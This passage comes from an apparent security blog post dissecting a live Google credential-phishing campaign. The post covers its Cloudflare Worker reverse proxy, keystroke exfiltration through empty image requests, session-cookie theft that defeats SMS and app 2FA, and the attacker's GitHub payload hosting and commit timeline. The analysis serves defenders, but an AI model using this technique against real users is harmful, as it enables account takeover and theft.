the entire login page in RAM. </p><p>Because the page exists only in memory and is never hosted as a file, it is not visible to traditional URL scanners, web crawlers, or security tools that rely on inspecting hosted content. This fileless approach allows the phishing page to exist only for the duration of the session and leaves little forensic footprint.</p><div><hr></div><h3>Step 2: The Reverse Proxy (Core Attack)</h3><p>The core of the attack is a reverse proxy implemented using a Cloudflare Worker. </p><p>When the victim&#8217;s browser requests the login page, the Worker retrieves the real page from <code>accounts.google.com</code>. </p><p>Before returning the response, the Worker modifies the page contents in real time, replacing references to Google domains with attacker controlled lookalike domains such as <code>accounts-g0033le-com</code>. The modified page is then delivered to the victim.</p><p>Because the HTML, JavaScript, and authentication logic originate from Google&#8217;s live infrastructure, the page behaves exactly as expected. </p><p>All credentials and authentication tokens, however, pass through the proxy first, allowing the attacker to observe and capture them without disrupting the user experience.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!hG1S!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7fbcd7f-b296-4549-9739-599f5ce09528_1802x1354.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!hG1S!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7fbcd7f-b296-4549-9739-599f5ce09528_1802x1354.png 424w, https://substackcdn.com/image/fetch/$s_!hG1S!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7fbcd7f-b296-4549-9739-599f5ce09528_1802x1354.png 848w, https://substackcdn.com/image/fetch/$s_!hG1S!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7fbcd7f-b296-4549-9739-599f5ce09528_1802x1354.png 1272w, https://substackcdn.com/image/fetch/$s_!hG1S!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7fbcd7f-b296-4549-9739-599f5ce09528_1802x1354.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!hG1S!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7fbcd7f-b296-4549-9739-599f5ce09528_1802x1354.png" width="1456" height="1094" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e7fbcd7f-b296-4549-9739-599f5ce09528_1802x1354.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1094,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:595411,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/186779773?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7fbcd7f-b296-4549-9739-599f5ce09528_1802x1354.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!hG1S!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7fbcd7f-b296-4549-9739-599f5ce09528_1802x1354.png 424w, https://substackcdn.com/image/fetch/$s_!hG1S!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7fbcd7f-b296-4549-9739-599f5ce09528_1802x1354.png 848w, https://substackcdn.com/image/fetch/$s_!hG1S!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7fbcd7f-b296-4549-9739-599f5ce09528_1802x1354.png 1272w, https://substackcdn.com/image/fetch/$s_!hG1S!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7fbcd7f-b296-4549-9739-599f5ce09528_1802x1354.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3>Step 3: The Data Tunnel</h3><p>During the login process, the network traffic shows a high volume of <code>0.0 KB</code> AVIF image requests. These requests are not used to load real images. Instead, they function as a lightweight communication channel between the browser and the proxy.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!d8NN!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F57f85783-be98-4c4c-a6b2-2d75da3c2c77_1294x1154.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!d8NN!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F57f85783-be98-4c4c-a6b2-2d75da3c2c77_1294x1154.png 424w, https://substackcdn.com/image/fetch/$s_!d8NN!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F57f85783-be98-4c4c-a6b2-2d75da3c2c77_1294x1154.png 848w, https://substackcdn.com/image/fetch/$s_!d8NN!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F57f85783-be98-4c4c-a6b2-2d75da3c2c77_1294x1154.png 1272w, https://substackcdn.com/image/fetch/$s_!d8NN!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F57f85783-be98-4c4c-a6b2-2d75da3c2c77_1294x1154.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!d8NN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F57f85783-be98-4c4c-a6b2-2d75da3c2c77_1294x1154.png" width="1294" height="1154" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/57f85783-be98-4c4c-a6b2-2d75da3c2c77_1294x1154.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1154,&quot;width&quot;:1294,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:1259056,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/186779773?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F57f85783-be98-4c4c-a6b2-2d75da3c2c77_1294x1154.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!d8NN!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F57f85783-be98-4c4c-a6b2-2d75da3c2c77_1294x1154.png 424w, https://substackcdn.com/image/fetch/$s_!d8NN!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F57f85783-be98-4c4c-a6b2-2d75da3c2c77_1294x1154.png 848w, https://substackcdn.com/image/fetch/$s_!d8NN!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F57f85783-be98-4c4c-a6b2-2d75da3c2c77_1294x1154.png 1272w, https://substackcdn.com/image/fetch/$s_!d8NN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F57f85783-be98-4c4c-a6b2-2d75da3c2c77_1294x1154.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Each time the victim interacts with the login form, including typing individual characters, background requests are generated. </p><p>The captured input is embedded in request headers or metadata, while the response remains empty to minimize bandwidth usage. This allows data to be exfiltrated continuously without triggering visible uploads or warnings.</p><p>These requests also play a role in defeating latency based proxy detection. Google security scripts measure round trip time to identify indirect connections. </p><p>The Cloudflare Worker responds from the network edge, producing near instant responses. This causes Google&#8217;s checks to see a low latency connection that appears indistinguishable from a direct session.</p><h3>Step 4: Session Hijacking (The &#8220;Golden Ticket&#8221;)</h3><p>The primary objective of the proxy is the Google session cookie. </p><p>As the victim enters their email address, password, and two factor authentication code, the proxy forwards each value to Google in real time. Once Google validates the login, it issues a session cookie that represents an authenticated account.</p><p>As this cookie passes back through the proxy, the attacker copies it. This cookie can then be imported into another browser session controlled by the attacker. </p><p>Because the cookie represents a completed authentication flow, no additional password or two factor challenge is required. The attacker gains full access to the account using the victim&#8217;s already validated session.</p><h3>Step 5: The &#8220;Success&#8221; Hand-off</h3><p>After authentication, the proxy redirects the victim to a legitimate Google Drive file:</p><pre><code>https://drive.google[.]com/file/d/14mmOHEbC59FlsotUb0iy25NTCsF2eLY0/view</code></pre><p>This redirect is performed using a standard HTTP 302 response. The document loads normally from Google Drive, reinforcing the impression that the login was legitimate. From the victim&#8217;s perspective, the login appears to have been a routine security check, while the attacker retains persistent access in the background.</p><p>You end up on the real Google Drive looking at a real document. You assume the login was just a standard security check, while the attacker retains persistent, 2FA-bypass access to your account in the background.</p><h4>Post-Login Redirection</h4><p>To prevent suspicion, the proxy redirects the victim to a legitimate Google Drive file after login. The URL for the file is encoded as the success URL in the Google interstitial:</p><pre><code><code>"HAZvpc":"https://accounts.google[.]com/v3/signin/interstitial/doritos/forward/success?continue=https://drive.google[.]com/file/d/14mmOHEbC59FlsotUb0iy25NTCsF2eLY0/view?usp%3Dsharing&amp;timeStmp=1770268388508"</code></code></pre><p>Google uses this section to store &#8220;state&#8221; information, indicating where the page should redirect after login is complete. Phishing kits replicate this structure to relay a real Google session. </p><p>By including the continue URL, the proxy ensures that after stealing the credentials, the victim is redirected to the actual Drive file. This makes the process appear legitimate and prevents the victim from suspecting that their session was compromised.</p><h3>Real-Time Keystroke Exfiltration</h3><p>Unlike traditional phishing pages that wait for a form submission, this proxy captures credentials as they are typed. </p><p>Event listeners attached to the input fields trigger background requests on each keystroke. These keystrokes are transmitted immediately through the same lightweight request channel used elsewhere in the session.</p><p>Because the proxy relays this data to Google instantly, it can validate credentials in real time. If an incorrect password is entered, the error message displayed to the victim originates from Google itself. </p><p>This feedback loop further reinforces the legitimacy of the page and increases the likelihood that the victim completes the login process.</p><h4>Two Factor Authentication Won&#8217;t Stop the Attack</h4><p>SMS based and app based two factor authentication do not stop this attack. The proxy simply relays the one time code to Google as soon as it is entered. </p><p>The only effective defense in this scenario is a physical security key using FIDO2. These keys cryptographically bind authentication to the domain. </p><div><hr></div><h1>Further Reconnaissance</h1><p>Although the attacker minimized their footprint, some elements of the operation cannot be fully concealed. These are not mistakes or oversights. </p><p>They are artifacts created by running a live phishing campaign that depends on public platforms, client&#8209;side execution, and cloud infrastructure.</p><p>By examining these exposed components, we can still determine how long the campaign has been active, how it is maintained, and how its infrastructure is organized.</p><div><hr></div><h2><strong>Attacker GitHub:</strong></h2><p>During payload delivery, the attacker exposed a GitHub repository used to host encrypted JavaScript payloads. Using GitHub provides availability and resilience, but it also makes development activity observable.</p><p>This does not identify the operator. The account can be anonymous and disposable. What it does show is operational timing, update frequency, and whether the campaign is still active.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!kG9f!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb373bc5f-3e7b-4da6-824b-fa179c09e5a0_1424x704.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!kG9f!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb373bc5f-3e7b-4da6-824b-fa179c09e5a0_1424x704.png 424w, https://substackcdn.com/image/fetch/$s_!kG9f!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb373bc5f-3e7b-4da6-824b-fa179c09e5a0_1424x704.png 848w, https://substackcdn.com/image/fetch/$s_!kG9f!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb373bc5f-3e7b-4da6-824b-fa179c09e5a0_1424x704.png 1272w, https://substackcdn.com/image/fetch/$s_!kG9f!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb373bc5f-3e7b-4da6-824b-fa179c09e5a0_1424x704.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!kG9f!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb373bc5f-3e7b-4da6-824b-fa179c09e5a0_1424x704.png" width="1424" height="704" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b373bc5f-3e7b-4da6-824b-fa179c09e5a0_1424x704.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:704,&quot;width&quot;:1424,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:151728,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/186779773?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb373bc5f-3e7b-4da6-824b-fa179c09e5a0_1424x704.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!kG9f!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb373bc5f-3e7b-4da6-824b-fa179c09e5a0_1424x704.png 424w, https://substackcdn.com/image/fetch/$s_!kG9f!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb373bc5f-3e7b-4da6-824b-fa179c09e5a0_1424x704.png 848w, https://substackcdn.com/image/fetch/$s_!kG9f!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb373bc5f-3e7b-4da6-824b-fa179c09e5a0_1424x704.png 1272w, https://substackcdn.com/image/fetch/$s_!kG9f!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb373bc5f-3e7b-4da6-824b-fa179c09e5a0_1424x704.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><pre><code>https://github.com/laurseraph-svg</code></pre><p>The repository functions as a payload hosting layer rather than a development workspace, which explains the minimal commit messages and frequent updates to encrypted files.</p><h4>Commit History Analysis:</h4><p>The GitHub account hosting these encrypted payloads provides a fascinating window into the attacker&#8217;s operations. Examining the commit history reveals patterns that tell us a lot about how this campaign is managed.</p><p>Reviewing the commit history for ramen_p.json, the most frequently updated payload file, reveals clear phases of activity.</p><ul><li><p>December 8&#8211;11, 2025: Initial repository population and testing</p></li><li><p>December 11, 2025: Transition into active use with multiple same&#8209;day updates</p></li><li><p>December 19, 2025: Short burst of tuning activity</p></li><li><p>December 20, 2025 to January 17, 2026: No observable changes</p></li><li><p>January 18, 2026: Activity resumes</p></li><li><p>January 20&#8211;25, 2026: Sustained update period</p></li><li><p>February 1, 2026: Most recent updates to active payload files</p></li></ul><p>This pattern is consistent with a campaign that was deployed, paused, and later resumed rather than abandoned.</p><h4>What the Commit Pattern Reveals:</h4><p><strong>1. Campaign Development Phase (December 8-11)</strong></p><ul><li><p>Initial setup and testing</p></li><li><p>Creating multiple payload variants</p></li><li><p>Setting up encryption schemes</p></li><li><p>Establishing naming conventions</p></li></ul><p><strong>2. Active Campaign Period (December 11-19)</strong></p><ul><li><p>Multiple daily updates indicate active phishing campaign</p></li><li><p>Rapid iteration suggests A/B testing of approaches</p></li><li><p>Quick response to detection or victim feedback</p></li><li><p>Optimization of social engineering techniques</p></li></ul><p><strong>3. Holiday Pause (December 20 - January 17)</strong></p><ul><li><p>No commits during traditional holiday period</p></li><li><p>Suggests operator in region that observes Western holidays</p></li><li><p>Could indicate European or North American base</p></li><li><p>Or simply strategic pause to avoid holiday security awareness</p></li></ul><p><strong>4. Campaign Resumption (January 18 onwards)</strong></p><ul><li><p>Return to regular updates</p></li><li><p>Sustained 5-day activity burst suggests renewed campaign push</p></li><li><p>Multiple updates per day during peak activity</p></li><li><p>Most recent activity in February shows ongoing operations</p></li></ul><h4>Commit Messages Are Minimal:</h4><p>All commits use generic messages like:</p><ul><li><p>&#8220;Update ramen_p.json&#8221;</p></li><li><p>&#8220;Update cap_ram_head.json&#8221;</p></li><li><p>&#8220;Create oatsandhayswithbays.json&#8221;</p></li></ul><p>This reinforces that the repository is used for distribution, not collaborative development. Descriptive messages would add no operational value.</p><div><hr></div><h4>Attacker email address:</h4><p>You can check the email address used for a commit by adding .patch to the end of a commit URL. The result shows an email used:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!LvLN!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc2d4c761-7417-419b-b975-6ee400d4dab0_1144x174.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!LvLN!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc2d4c761-7417-419b-b975-6ee400d4dab0_1144x174.png 424w, https://substackcdn.com/image/fetch/$s_!LvLN!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc2d4c761-7417-419b-b975-6ee400d4dab0_1144x174.png 848w, https://substackcdn.com/image/fetch/$s_!LvLN!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc2d4c761-7417-419b-b975-6ee400d4dab0_1144x174.png 1272w, https://substackcdn.com/image/fetch/$s_!LvLN!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc2d4c761-7417-419b-b975-6ee400d4dab0_1144x174.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!LvLN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc2d4c761-7417-419b-b975-6ee400d4dab0_1144x174.png" width="1144" height="174" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c2d4c761-7417-419b-b975-6ee400d4dab0_1144x174.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:174,&quot;width&quot;:1144,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:41889,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/186779773?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc2d4c761-7417-419b-b975-6ee400d4dab0_1144x174.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!LvLN!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc2d4c761-7417-419b-b975-6ee400d4dab0_1144x174.png 424w, https://substackcdn.com/image/fetch/$s_!LvLN!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc2d4c761-7417-419b-b975-6ee400d4dab0_1144x174.png 848w, https://substackcdn.com/image/fetch/$s_!LvLN!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc2d4c761-7417-419b-b975-6ee400d4dab0_1144x174.png 1272w, https://substackcdn.com/image/fetch/$s_!LvLN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc2d4c761-7417-419b-b975-6ee400d4dab0_1144x174.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><pre><code>laurseraph@gmail[.]com</code></pre><p>I wasn&#8217;t able to find references to this username or email elsewhere using OSINT techniques, so it appears that it was created alongside the GitHub as a throwaway email for single purpose.</p><p>Also of note is that the account also contains multiple repositories, some of which were not used in this campaign and may support other operations.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!9a2x!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d154209-df47-41ef-aa20-a537cdc4e367_1398x964.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!9a2x!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d154209-df47-41ef-aa20-a537cdc4e367_1398x964.png 424w, https://substackcdn.com/image/fetch/$s_!9a2x!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d154209-df47-41ef-aa20-a537cdc4e367_1398x964.png 848w, https://substackcdn.com/image/fetch/$s_!9a2x!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d154209-df47-41ef-aa20-a537cdc4e367_1398x964.png 1272w, https://substackcdn.com/image/fetch/$s_!9a2x!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d154209-df47-41ef-aa20-a537cdc4e367_1398x964.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!9a2x!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d154209-df47-41ef-aa20-a537cdc4e367_1398x964.png" width="1398" height="964" 